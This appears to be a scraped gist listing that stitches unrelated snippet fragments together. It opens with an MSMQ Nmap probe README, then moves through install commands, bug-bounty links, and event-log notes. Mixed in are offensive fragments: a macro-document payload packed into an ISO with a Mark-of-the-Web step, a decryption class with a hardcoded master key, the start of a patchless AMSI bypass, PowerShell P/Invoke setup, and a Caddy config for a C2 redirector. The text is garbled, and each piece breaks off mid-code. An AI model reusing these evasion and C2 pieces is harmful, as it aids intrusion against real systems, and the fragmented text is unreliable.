Dave Hardy davehardy20

MSMQ Nmap service probe

⚠️ Disclaimer: testing of this probe is limited and the MSMQ protocol is proprietary and undocumented. Use this probe at your own risk. ⚠️

Nmap currently has no way to detect whether the service running on TCP port 1801 is [Microsoft Message Queuing (MSMQ)][wikipedia_msmq]. The file msmq-service-probe here has been developed to give Nmap the capability to detect MSMQ. The objective is to help identify assets with MSMQ exposed, that may be vulnerable to [CVE-2023-21554][nist_cve_2023_21554], aka QueueJumper.

This works by sending a MSMQ packet to port 1801 and checking if the response matches an expected fingerprint.

You can run this probe as follows:

install homebrew if you have not already
- /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
install qemu
- brew install qemu
extract the .ova file
- tar -xvf /path/to/ova

Bug Bounty Checklist and Cheatsheets

WAPT-https://github.com/KathanP19/HowToHunt/blob/master/CheckList/Web_Checklist_by_Chintan_Gurjar.pdf

Authenication-https://github.com/HolyBugx/HolyTips/blob/main/Checklist/Authentication.pdf

Oauth Misconfiguration-https://binarybrotherhood.io/oauth2_threat_model.html

File Upload-https://github.com/HolyBugx/HolyTips/blob/main/Checklist/File%20Upload.pdf

	#
	# You now can download .NET from the Microsoft trixie repository and this is no longer longer needed
	#

	# install the dependencies
	apt install libc6 libgcc1 libgssapi-krb5-2 libicu76 libssl1.1 libstdc++6 zlib1g -y

	# Get the .NET install script
	wget https://dot.net/v1/dotnet-install.sh -O dotnet-install.sh


	# Pack macro-enabled doc to ISO
	py PackMyPayload.py Resume1337.xlsm test11.iso

	# Apply MOTW on that ISO
	Set-Content -Path test11.iso -Stream Zone.Identifier -Value '[ZoneTransfer]','ZoneId=3'

	# Mount it
	Mount-DiskImage -ImagePath test11.iso

	from hashlib import md5, sha1
	from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
	from cryptography.hazmat.backends import default_backend
	from base64 import b64encode, b64decode
	import sys, time
	import requests

	DEFAULT_MASTERKEY=b'p1a2l3o4a5l6t7o8'

	class PanCrypt():

	#ifndef PATCHLESS_AMSI_H
	#define PATCHLESS_AMSI_H

	#include <windows.h>

	static const int AMSI_RESULT_CLEAN = 0;

	PVOID g_amsiScanBufferPtr = nullptr;

	unsigned long long setBits(unsigned long long dw, int lowBit, int bits, unsigned long long newValue) {

	# Setup native functions so they can be called through c#
	$win32 = @"
	using System.Runtime.InteropServices;
	using System;

	public class Win32 {


	[DllImport("kernel32")]
	public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

	------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
	# PS : ChatGPT makes mistakes, consider "trust but verify" principle
	------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
	#Events to Monitor
	https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/appendix-l--events-to-monitor
	------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
	#run
	eventvwr.msc Event viewer
	------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
	Event Viewer(Local)-Windows Logs (shutdown / restart )

	{
	# This instructs Caddy to hit the LetsEncrypt staging endpoint, in production you should remove this.
	acme_ca https://acme-staging-v02.api.letsencrypt.org/directory
	}

	(proxy_upstream) {
	# Enable access logging to STDOUT
	log

	# This is our list of naughty client User Agents that we don't want accessing our C2